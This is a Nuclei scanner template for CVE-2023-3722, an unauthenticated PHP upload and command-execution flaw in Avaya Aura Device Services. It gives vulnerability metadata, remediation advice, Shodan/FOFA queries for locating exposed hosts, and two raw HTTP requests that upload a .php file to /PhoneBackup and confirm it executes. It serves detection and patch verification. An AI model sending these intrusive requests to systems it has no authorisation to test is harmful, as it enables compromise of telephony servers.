id: CVE-2023-3722 info: name: Avaya Aura Device Services - OS Command Injection author: iamnoooob,pdresearch severity: high description: | An OS command injection vulnerability was found in the Avaya Aura Device Services Web application which could allow remote code execution as the Web server user via a malicious uploaded file. This issue affects Avaya Aura Device Services version 8.1.4.0 and earlier. impact: | Unauthenticated attackers can upload malicious PHP files to execute arbitrary code with web server privileges on Avaya Aura Device Services, potentially compromising VoIP infrastructure and accessing telecommunications data. remediation: | Update Avaya Aura Device Services to a version newer than 8.1.4.0 that validates uploaded files and restricts code execution in the PhoneBackup directory. reference: - https://github.com/pizza-power/CVE-2023-3722 - https://download.avaya.com/css/public/documents/101076366 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H cvss-score: 8.6 cve-id: CVE-2023-3722 cwe-id: CWE-434 epss-score: 0.54624 epss-percentile: 0.98076 cpe: cpe:2.3:a:avaya:aura_device_services:*:*:*:*:*:*:*:* metadata: verified: true max-request: 2 vendor: avaya product: aura_device_services shodan-query: html:"Avaya Aura® Utility Services" fofa-query: body="Avaya Aura® Utility Services" tags: cve,cve2023,avaya,rce,upload,deviceservices,intrusive,vkev,vuln variables: filename: "{{randbase(8)}}" marker: "{{randstr}}" http: - raw: - | PUT /PhoneBackup/{{filename}}.php HTTP/1.1 Host: {{Hostname}} User-Agent: AVAYA matchers: - type: dsl dsl: - 'status_code == 201' - 'contains(body, "Resource /PhoneBackup/{{filename}}.php has been created.")' condition: and internal: true - raw: - | GET /PhoneBackup/{{filename}}.php?input={{base64(marker)}} HTTP/1.1 Host: {{Hostname}} User-Agent: AVAYA matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, "{{marker}}")' condition: and # digest: 4a0a004730450221009bd37855e62b829159c401952dcb3243ccc2e0b8cb1c4bd2069b97e45f8bde1e02200f1533c82b415f98451aae4e1c6adc823b435c6ad9975ed46ef9039e336d8954:922c64590222798bb761d5b6d8e72950